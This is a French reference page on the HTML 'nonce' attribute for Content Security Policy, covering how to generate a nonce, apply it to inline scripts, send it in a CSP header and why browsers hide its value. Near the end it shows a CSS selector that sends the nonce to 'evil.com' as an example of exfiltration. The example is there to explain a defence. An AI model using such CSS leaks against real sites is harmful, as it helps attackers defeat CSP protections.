nonce
L'attribut universel nonce
est un attribut de contenu qui définit un nonce cryptographique pouvant être utilisé par une règle de sécurité du contenu (CSP) afin de déterminer si la récupération d'un élément sera autorisée ou non.
Description
L'attribut nonce
permet d'autoriser certains éléments spécifiques (comme un script ou un style donné) en évitant d'avoir à utiliser la directive CSP unsafe-inline
qui autoriserait tous les scripts ou styles embarqués.
Note : nonce
doit uniquement être utilisé pour les cas où il n'est pas possible de faire autrement que d'utiliser un script ou un style embarqué non sécurisé. Si vous n'avez pas besoin de nonce
, il ne faut pas l'utiliser. Si votre script est statique, vous pouvez utiliser une empreinte (hash) CSP à la place (voir les notes d'utilisation sur les scripts embarqués non sécurisés.)
Mieux vaut toujours exploiter les protections CSP au maximum et donc éviter les nonces ou les scripts embarqués non sécurisés tant que possible.
Utiliser non
pour autoriser un élément <script>
Plusieurs étapes sont nécessaires afin d'utiliser un nonce pour autoriser un script embarqué.
Générer une valeur
Sur le serveur web, générez une chaîne de caractères encodées en base64 à partir de 128 bits de données générés par un générateur de nombres aléatoires cryptographique. Les nonces doivent être générés différemment à chaque chargement de la page. En Node.js par exemple, on pourra écrire :
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Autoriser le script embarqué
Le nonce généré côté serveur peut ensuite être utilisé sur le script embarqué qu'on souhaite autoriser :
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
…
</script>
Envoyer le nonce avec un en-tête CSP
Enfin, il faut envoyer la valeur du nonce dans un en-tête Content-Security-Policy
en préfixant la chaîne de caractères avec nonce-
:
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Masquage et accès au nonce
Pour des raisons de sécurité, le contenu de l'attribut nonce
est masqué (c'est une chaîne vide qui sera renvoyé).
script.getAttribute("nonce"); // renvoie la chaîne vide
La propriété nonce
est la seule façon d'accéder aux nonces :
script.nonce; // renvoie la valeur du nonce
Un tel masquage empêche des acteurs malveillants d'exfiltrer les données du nonce grâce à des mécanismes qui permettent d'accéder aux attributs comme :
script[nonce~="peuimporte"] {
background: url("https://evil.com/nonce?peuimporte");
}
Spécifications
Specification |
---|
HTML Standard # attr-nonce |
Compatibilité des navigateurs
BCD tables only load in the browser